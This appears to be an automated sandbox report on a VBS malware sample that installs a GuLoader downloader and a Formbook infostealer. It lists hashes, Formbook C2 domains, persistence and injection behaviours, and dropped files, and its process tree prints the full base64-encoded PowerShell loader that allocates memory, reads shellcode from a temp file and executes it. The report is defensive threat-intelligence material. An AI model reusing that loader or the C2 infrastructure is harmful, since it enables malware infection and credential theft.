Analysis
-
max time kernel
153s -
max time network
155s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
21-01-2022 14:24
Static task
static1
Behavioral task
behavioral1
Sample
New _Inquiry P.O4622.vbs
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
New _Inquiry P.O4622.vbs
Resource
win10-en-20211208
General
-
Target
New _Inquiry P.O4622.vbs
-
Size
77KB
-
MD5
24e935f7534a81a7fd4e32daeab208a5
-
SHA1
251ac05ebc8c963418dccddda127d2a81b5097db
-
SHA256
5e6d8684c3f71ca6a76d22d1ddc536f302738a3027d22a5b1ce1852c9c551d99
-
SHA512
4bd0afc25da140efadb8f49350df7dca32c781a520c85f217d77db6602e51a7731ef955b7d412f5a3edaa0c70cffe47b9b44eda88c3378052d101a1e071f4ede
Malware Config
Extracted
formbook
4.1
k6sm
mingshengjewelry.com
ontimecleaningenterprise.com
alyssa0.xyz
ptecex.xyz
dukfot.online
pvcpc.com
iowalawtechnology.com
nestletranspotation.com
mysithomes.com
greenlakespaseattle.com
evofishingsystems.com
unilytcs.com
ordemt.com
dentalbatonrouge.com
pictureme360.net
chalinaslacatalana.com
newmirrorimage.xyz
pinklaceandlemonade.com
rapinantes.com
yzicpa.com
josephosman.com
robsarra.com
shumgroup.net
flooringnewhampshire.com
onceadayman.com
audiomacklaunch.xyz
hurryburry.com
golfvid.info
tutortenbobemail.com
tatlitelasorganizasyon.com
tqgtdd.space
classicalruns.com
xx3tgnf.xyz
galwayartanddesign.com
qidu.press
crypto-obmennik.com
dn360rn001.com
tridim.tech
phamhome.com
mediadollskill.com
loveatmetaverse.com
electric4x4parts.com
azulymargarita.com
isadoramel.com
rubyclean.com
officiallydanellewright.com
wu8d349s67op.xyz
detetivepyther.com
wondubniumgy463.xyz
registry-finance3.com
ultracoding.com
open-4business.com
supremelt.online
pangfeng.xyz
morneview.com
northfloridapsychic.com
kg4bppuh.xyz
friv.asia
epsilonhomecare.com
hbina.com
beachhutprinting.com
sophoscloudoptix.net
managemarksol.site
palestyna24.info
usyeslogistics.com
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1944-80-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1944-79-0x0000000000400000-0x000000000069B000-memory.dmp formbook behavioral1/memory/1728-84-0x0000000000080000-0x00000000000AF000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 1 IoCs
Processes:
cmd.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run cmd.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.exeieinstal.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ieinstal.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
cmd.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cmd.exe Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Windows\CurrentVersion\Run\JRWX0ZIXGV = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe" cmd.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
ieinstal.exepid process 1944 ieinstal.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exeieinstal.exepid process 1504 powershell.exe 1944 ieinstal.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exeieinstal.execmd.exedescription pid process target process PID 1504 set thread context of 1944 1504 powershell.exe ieinstal.exe PID 1944 set thread context of 1248 1944 ieinstal.exe Explorer.EXE PID 1728 set thread context of 1248 1728 cmd.exe Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
cmd.exedescription ioc process Key created \Registry\User\S-1-5-21-3846991908-3261386348-1409841751-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 cmd.exe -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeieinstal.execmd.exepid process 1504 powershell.exe 1944 ieinstal.exe 1944 ieinstal.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeieinstal.execmd.exepid process 1504 powershell.exe 1944 ieinstal.exe 1944 ieinstal.exe 1944 ieinstal.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe 1728 cmd.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeieinstal.execmd.exedescription pid process Token: SeDebugPrivilege 1504 powershell.exe Token: SeDebugPrivilege 1944 ieinstal.exe Token: SeDebugPrivilege 1728 cmd.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
Explorer.EXEpid process 1248 Explorer.EXE 1248 Explorer.EXE -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
Explorer.EXEpid process 1248 Explorer.EXE 1248 Explorer.EXE -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
WScript.exepowershell.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 1696 wrote to memory of 1504 1696 WScript.exe powershell.exe PID 1696 wrote to memory of 1504 1696 WScript.exe powershell.exe PID 1696 wrote to memory of 1504 1696 WScript.exe powershell.exe PID 1696 wrote to memory of 1504 1696 WScript.exe powershell.exe PID 1504 wrote to memory of 1068 1504 powershell.exe csc.exe PID 1504 wrote to memory of 1068 1504 powershell.exe csc.exe PID 1504 wrote to memory of 1068 1504 powershell.exe csc.exe PID 1504 wrote to memory of 1068 1504 powershell.exe csc.exe PID 1068 wrote to memory of 1552 1068 csc.exe cvtres.exe PID 1068 wrote to memory of 1552 1068 csc.exe cvtres.exe PID 1068 wrote to memory of 1552 1068 csc.exe cvtres.exe PID 1068 wrote to memory of 1552 1068 csc.exe cvtres.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1504 wrote to memory of 1944 1504 powershell.exe ieinstal.exe PID 1248 wrote to memory of 1728 1248 Explorer.EXE cmd.exe PID 1248 wrote to memory of 1728 1248 Explorer.EXE cmd.exe PID 1248 wrote to memory of 1728 1248 Explorer.EXE cmd.exe PID 1248 wrote to memory of 1728 1248 Explorer.EXE cmd.exe PID 1728 wrote to memory of 1064 1728 cmd.exe Firefox.exe PID 1728 wrote to memory of 1064 1728 cmd.exe Firefox.exe PID 1728 wrote to memory of 1064 1728 cmd.exe Firefox.exe PID 1728 wrote to memory of 1064 1728 cmd.exe Firefox.exe PID 1728 wrote to memory of 1064 1728 cmd.exe Firefox.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\New _Inquiry P.O4622.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBMAEEAQwBUAEkARgBFAFIATwAgAGIAcgBlAGcAbwAgAEsAbgBvAGIAZQB0AHMAZgByAGkAOQAgAEgAZQBzAHQAMwAgAEcAcgB1AGUAcwBvAG0ANAAgAEcAZQBuAGUAcgBhAGwAaQBzACAAQQBGAE0ARQBKACAAYgBlAGEAdgBlAHIAIABCAEkAQgBMAEkATwBHAFIAIABEAGQAbQBhAG4AZABzAGsAbgA1ACAAbgB1AGwAbABpAG4AIABsAG4AcABvAHQAcwB5AHMAdABlACAAVABoAHIAZQBhAHAAZQBkAGEAZgAgAE8AdQB0AHcAcgBlAHMAIABHAFQARQBWAEkAVgAgAFUAbgBzAGgAYQBjAGsAbABpADgAIABjAG8AcgByAGUAIABMAEEAUgBNAEUATgBTAEYAIABEAGkAcwB0AGkAbgBnAHYAOAAgAGQAaQBzAGUAbQBiAG8AIABIAFkAUABFACAAVQBuAGYAaQBsADkAIABWAEEATgBEAEIAUgBOAEQAQQAgAEcAZQBuAG4AZQAgAEIAZQBtAGUAcwB0AHIAZQA0ACAAaQBuAGQAcABhACAAQgBpAHQAcwB5AGwAZQAgAFQAZQByAG4AYQBzAGgAZQAgAEsAbwBrAGEAcgBkACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABiAHIAbgBlAGMAeQBrAGwAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAGIAcgBuAGUAYwB5AGsAbAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIAByAGUAcwB0AGIAZQBsAGIALABpAG4AdAAgAEQAeQBiAGIANgAsAHIAZQBmACAASQBuAHQAMwAyACAAYgByAG4AZQBjAHkAawBsACwAaQBuAHQAIABhAHAAcABsAGkAZQAsAGkAbgB0ACAAYgByAG4AZQBjAHkAawBsADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoAHMAdAByAGkAbgBnACAAaQBtAG0AYQBuACwAdQBpAG4AdAAgAEgAeQBwAG8AZwB5AG4AeQBiACwAaQBuAHQAIABEAGkAcwBjAGkAcABsADMALABpAG4AdAAgAGIAcgBuAGUAYwB5AGsAbAAwACwAaQBuAHQAIABQAGUAdAB1AG4AaQBlAHIAbgAsAGkAbgB0ACAARwByAHUAbgBnAGUAcwBtAGkAdAAsAGkAbgB0ACAARABlAG0AbwByAGEAbAA1ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEQAeQBiAGIANgAwACwAdQBpAG4AdAAgAEQAeQBiAGIANgAxACwASQBuAHQAUAB0AHIAIABEAHkAYgBiADYAMgAsAHIAZQBmACAASQBuAHQAMwAyACAARAB5AGIAYgA2ADMALABpAG4AdAAgAEQAeQBiAGIANgA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABEAHkAYgBiADYANQAsAGkAbgB0ACAARAB5AGIAYgA2ADYALABpAG4AdAAgAEQAeQBiAGIANgA3ACwAaQBuAHQAIABEAHkAYgBiADYAOAAsAGkAbgB0ACAARAB5AGIAYgA2ADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAQgBpAHMAYQBtAHMAYwBoAHUAIABEAG8AdgBlAG4AOAAgAEMAYQBsAHkAIABLAHUAbABkAGkAbwB4AGkAZAAgAGcAcgBhAGYAaQBrAHIAdQB0AGkAIABMAGsAawBlAHIAbgAgAEsAYQBuAG8AbgBpADkAIABDAGgAZQBsADkAIABlAG4AZABlAGIAYQBsAGwAZQBuACAAZABpAHMAawAgAFQAYQBkAGUAYQB3AG8AdQBjADQAIABVAGkAdABvAHQAYQBuAHUAZAA4ACAAQwB1AHQAbABhAHMAcwBmADQAIABSAGgAaQBwADgAIABUAGUAbgBkAGUAcgBlAGUAbwAgAHIAZQBpAG4AaABvAGwAZAAgAEgAagBlAG0AdgBpAHMAZQBsAHUAOQAgAEgAVQBSAFIAUwAgAE8AbQBuAGkANgAgAEIAaQBnAGcAaQBzADUAIABPAGgAbQBhAHYANAAgAEIAdQBjAGgAIABQAGUAZwBnAHkAcABhAHIAYQAgAG4AdgBuAGkAbgBnAGUAZABvACAARgBPAEUATABHAEUAUwBFAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHMAbwB1AG0AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBYAEMATABVAEQAIgAgAA0ACgAkAGIAcgBuAGUAYwB5AGsAbAAzAD0AMAA7AA0ACgAkAGIAcgBuAGUAYwB5AGsAbAA5AD0AMQAwADQAOAA1ADcANgA7AA0ACgAkAGIAcgBuAGUAYwB5AGsAbAA4AD0AWwBiAHIAbgBlAGMAeQBrAGwAMQBdADoAOgBOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKAAtADEALABbAHIAZQBmAF0AJABiAHIAbgBlAGMAeQBrAGwAMwAsADAALABbAHIAZQBmAF0AJABiAHIAbgBlAGMAeQBrAGwAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAFMAVQBQAEUAUgAgAFMAVABPAEMASwBJAEwAWQBSACAAUwB0AG4AawBlAGwAYQA1ACAAZQBtAHAAcgBvAHMAdAAgAGQAZQBmAGkAbgBpAHQAdAAgAFMAZQBwAGkAYQBiAHIAdQAxACAAdABvAHAAbwBnAHIAYQBmAGUAcgAgAEQAUgBZAFAAUwBUAEUATgAgAEYAcgBlAGsAdgA2ACAARABlAGwAaQBiAGUANgAgAE0AYQB0AGkAYQBzADMAIABoAHUAcwBuAGkAbgBnAGsAdgAgAEgAdQBzAG0AIABDAEgARQBFAFMARQBGAEwAIAB2AGEAYQBnACAAVABoAGUAbAAgAFMAdQBwAGUAcgA1ACAAcwBhAGMAcgBpAHMAdAAgAFYAZQBkAHMAdABhAGEAIABCAGEAZwB0AHUAbgAgAFAAcgBvAHQAeQBsAHMAMgAgAFMAdAByAHkAZwBlAGsAdgBhADEAIABJAE0ATQBPAEwAQQBUACAAUwB0AGUAZAAgAHMAYwByAGkAIABmAGUAZABlAHYAYQByACAAUABlAHIAaQBvAGQAYQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBuAGEAcgBlAG4AcwAiACAADQAKACQAYgByAG4AZQBjAHkAawBsADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAGIAbAB1AGUAYgAuAGQAYQB0ACIADQAKACMARQB0AHQAaQBuAHoAbwBtAGIAaQA0ACAAaQBuAHQAZQBsAGwAZQBrAHQAIABNAGUAbgBzAHUAcgBhACAAZgByAGkAaABhACAAUwBoAHUAdABpAG4AZwBkAGkAZQAgAFMASwBSAFYAUwBSACAAUwBjAGgAaQBuAGQAeQBsADEAIABzAHkAcgBuAGkAbgBnAGUAIABBAEQATwBQAFQAQQBOAFQAIABMAHUAawBrAGUAdABzAGIAbwAgAGIAbABhAG4AZABpAG4AZwBzAGYAIABEAEUAQwBJAE0ARQBSAEUAIABVAGQAaABvAGwAZABlAGwAaQAgAFMAVABPAEMASwBIAE8AIABHAGUAbQBpACAARgBhAGIAcgBpAGsAYQAyACAAaQBuAHQAZQByAHAAdQBuACAAdgBhAG4AZABzAGsAIABzAHAAaQBsAGQAZQAgAFIARQBHAEkAUwBUAEUAUgAgAFAAbwBzAHQAZwBpAHIAbwBrAG8AMwAgAFIAaQB2AGUAcgBpACAATwBWAEUAUgBFAE0AIABEAEEATgBEAFkAIABUAHIAYQBuAHMAYwAzACAAcABvAGwAeQAgAE0AVQBTAFQAQQBOAEcAUwAgAEsAYQBzAGUAaQBuAGUAdAAgAEoAdQBnAGUAcgBpAG4AZwB0ACAAQgBFAFIATwBMAEkARwBFAEQAIABTAFQAUgBBAFQAIABBAFMARgBBAEwAVAAgAEwAbwBnAGEAcgBpACAADQAKACQAYgByAG4AZQBjAHkAawBsADQAPQBbAGIAcgBuAGUAYwB5AGsAbAAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAYgByAG4AZQBjAHkAawBsADIALAAyADEANAA3ADQAOAAzADYANAA4ACwAMQAsADAALAAzACwAMQAyADgALAAwACkADQAKACMAQwBIAFIASQBTAFQAIABDAEUAUgBCACAASABpAGcAaABqACAAUgBlAGsAbwBtAG0AYQA4ACAAQwBPAFIARQBDACAATABZAEQASQBHAEgARQBEACAAQQBDAEgATwBMAE8ARQBGACAAbQB1AHMAbABpAG4AZwAgAG0AYQB0AGUAcgBpAGEAbABpACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHUAYQBiAGwAIgAgAA0ACgAkAGIAcgBuAGUAYwB5AGsAbAA1AD0AMAA7AA0ACgAjAFMAdAByAGEAYQBsACAAaAB5AHAAZQByACAATAB1AG4AZQBoAHkAcgBkACAAUgBFAEkARgBJAEsAIAB0AGUAcwB0AGEAbQBlACAAQgBSAEkASwBWAFYATgAgAEkARABJAE8AIABnAHIAYQBkAHUAYQB0ACAATQBlAGEAdABtAGEAbgA1ACAAYwBvAHUAbgB0AGUAcgBlAHYAIABQAHIAZQBpAG4AZABlAGIAdABlADkAIABNAHkAbwBtAGUAcgBlADMAIABPAHAAZQByAGEAdABpAHYAcwB5ACAAcABsAGkAcgBiAGUAcwBrAGEAcgAgAHMAYQBtAGEAcgAgAEwATgBTAEEAVABTACAAYwBoAGUAcwBrACAARgBJAEcAVQBSAFQAWQBQACAAUABvAHUAcwBzAGkANAAgAEYAVQBHAFQARgBKAEUAIABGAHUAbgBrAHQAaQAgAE8AbQBrAHIAcwBlAGwAcwA2ACAAVABvAGEAZABsACAAQQBpAHIAdwBvAHIAdABoACAARwBhAHMAYQBwAHAAYQByAGEAdAAgAEIAdQBnAHMAcAB5AHQAdAA2ACAAUAByAG8AZwByAGEAbQBzAHQANQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgBhAHIAYQBrACIAIAANAAoAWwBiAHIAbgBlAGMAeQBrAGwAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAGIAcgBuAGUAYwB5AGsAbAA0ACwAJABiAHIAbgBlAGMAeQBrAGwAMwAsADIANgAxADEANgAsAFsAcgBlAGYAXQAkAGIAcgBuAGUAYwB5AGsAbAA1ACwAMAApAA0ACgAjAFMAbgBhAGQAZABlAG4AYQBzAG8ANQAgAGMAaQByAGMAdQAgAEMATwBOAEYARQBDACAAcAByAG8AcABvACAAUwB1AGkAdABhAGIAbABlADIAIABQAFMARQBVAEQATwAgAEkATgBEAEwARwBHAEUATAAgAFAAdQB0AHIAZQBzAGMAZQBrAGEAOAAgAFgAeQBsAG8AMwAgAFcASABVAEYARgAgAG8AYQBzAGUAcwBrAGkAbgAgAFQAYQBtAHQAYQBtACAASQBtAHAAbwByADMAIABQAHIAbwB0ACAAVAB5AHIAbwAgAHYAZQBuAHQAcgAgAFUATgBCAEkARABBAEIAIAByAGEAYQB2AGEAcgBlAHIAbgBlACAASABvAHIAYQBoAGwAdQBjAGkAYQAgAFMAeQBuAHQAaABlAHQAIABGAGUAZAB0AGQAIABIAGEAYQByAGQAOQAgAFYASQBOAEsARQBMACAAUwBLAEEAVABUAEUAQQBOAFMAVAAgAE0ARQBDAEgARQBMACAAUgBhAG4AZABpAGEAcABsACAARABFAFQATwBYAEkARgBJACAAQgBsAG4AZABlAG4AIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFQAdQByAGYAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAWQBWAEUAVAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAE0ATQBBAFQASQBEAEkAQQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAG8AbAB1AGkAZABvAGMAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBVAEwAVABVAFIAUwBBAE0ATQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBrAHYAYQBsAGkAdABlAHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBhAGUAbABnAGUAcwBzAHQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAGEAZAByAGUAbgBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFQAZQByAG4AaQBuAGcAdAB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGYAcgBtAG4AZABvAHYAZQByACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAbABlAHYAaQBuACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQAdQBtAHAAZQBrAGEAOAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBmAGEAcwB0AGcAcgBlACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAYQBhAHQAYQBsAGUAcgBlACIAIAANAAoAWwBiAHIAbgBlAGMAeQBrAGwAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAYgByAG4AZQBjAHkAawBsADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA=="3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pcczncn-.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES405B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC404B.tmp"5⤵
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe"2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES405B.tmpMD5
e6d69e0686410d8af9deebeee8a1d8d5
SHA1e9d3501999a64457afaf04164088dfefdc044ed2
SHA256ff1c12f31e4660ec8067378be12aeb18ff26d79faed441341d6e2c5a3febb30a
SHA5124cd618d0269ebe446345910a7aec5f23ea364fbc29c7f8b31fce27e69ff4f0066eadb0a696d5968fd205287c48d6d26973a5a7ca287332c0841fdeba48009ee4
-
C:\Users\Admin\AppData\Local\Temp\blueb.datMD5
48a7d9c78df69306ae414bea7c1d51de
SHA102a7398b82bbb72c6f1b5d36ace44951e9cc67e2
SHA2564d8f190a415aed861321d29e69d174effbded24de4841a0f9f534161b1d5b23e
SHA5129ad31cae5c95191d5e46572d554aa57dea11ded2c26f3285ada315feddccd369adc0d2b5254505bd207e8cd9b9fe21287329149fd3c3f6bd535a93223d83993f
-
C:\Users\Admin\AppData\Local\Temp\pcczncn-.dllMD5
3a254767555658f797905b443986dd20
SHA1c535270058435a365950b95b084c04169618171a
SHA25607acba4da7ebadc934e99c227c40ca718c8d83ccad54fbfabf70084b6338a975
SHA5124e3f64761bf32f619b4c353b65433a349fbabe78eed42b875049e250950689e367e265dc5fb641ab0f8e2b11daa3212cd68af4458d4d6a3397e5d9920a1ee987
-
C:\Users\Admin\AppData\Local\Temp\pcczncn-.pdbMD5
eea6e3d689c5ccd0a872c9de332a7a61
SHA1b37c234c8789ae12ae3cdd40c7f72b7c0084bfb5
SHA256844953f8b03e278a12c8ae004b4948e6fd043ea6da743fb3c9ad77d8272f88bd
SHA5125d8e9276366b9d12d97be80913a93f4c194b42f4de7fdf79f830324b1a534b618b04e18287adfef83878cbbc72104ed04a7861d005ad0b5dd5f93a12beeace49
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologim.jpegMD5
55cac8a4c1b5dee70dfcce163495149d
SHA1d3d28a4f6236eb4dccfb0fe05207a19763bcea85
SHA25655347cdaabead9d92748e421b570d9e4793d182c1cc172b811c56795828f44a6
SHA512ebab76ed3fc6a1bb80356452a6fea75b36e4a5a2eb58def38eda4d9835e3bbdd4354c2f862525cfd48ceffa5e0e37ec05c421b47e58d5840992bbdeee0b04fda
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrf.iniMD5
2f245469795b865bdd1b956c23d7893d
SHA16ad80b974d3808f5a20ea1e766c7d2f88b9e5895
SHA2561662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361
SHA512909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologri.iniMD5
d63a82e5d81e02e399090af26db0b9cb
SHA191d0014c8f54743bba141fd60c9d963f869d76c9
SHA256eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae
SHA51238afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrv.iniMD5
ba3b6bc807d4f76794c4b81b09bb9ba5
SHA124cb89501f0212ff3095ecc0aba97dd563718fb1
SHA2566eebf968962745b2e9de2ca969af7c424916d4e3fe3cc0bb9b3d414abfce9507
SHA512ecd07e601fc9e3cfc39addd7bd6f3d7f7ff3253afb40bf536e9eaac5a4c243e5ec40fbfd7b216cb0ea29f2517419601e335e33ba19dea4a46f65e38694d465bf
-
\??\c:\Users\Admin\AppData\Local\Temp\CSC404B.tmpMD5
8c9fab5f66e570889c53ad891f5ad4fa
SHA184c381aa5ec253337505c5c161af3c03dadbd04d
SHA256fa69d48a9bec1cbb5ea1ad3bbe78b7d4f6085231d416f190c8d74c7f70d1a12c
SHA512c0be70fc83bb60704365a4bbe90cbdc2f40f8e82161c846bee865108f83bbe8d204dd25c13f456f2a459101e12270a00e9ad6bfa6360038775bb7ac83fbea9fa
-
\??\c:\Users\Admin\AppData\Local\Temp\pcczncn-.0.csMD5
26b2bf42ecc76a6f1d41418840a657a2
SHA1078ef1ce837ad72087c27b59a22376d787047a96
SHA256389198803dcd1407f3597e008cdc8485aca479215d8097646a339b133fcf3ad2
SHA5126c45e6734ef47c372e95eb1b525e0574a056d658c6339b474a5b42e97b2710d6764ddbf70c359b7b59cfe177c4666f10e170c163a258d5ad6c7d50af9b764e43
-
\??\c:\Users\Admin\AppData\Local\Temp\pcczncn-.cmdlineMD5
40c24a50758a9a05ffa490e39f843ba3
SHA177f1fd6475adb5736387e632f83baa4bdc1919e5
SHA2563024f1f1b874b73e13cf092c5a4a60280520037551202626bbf086612627b6e2
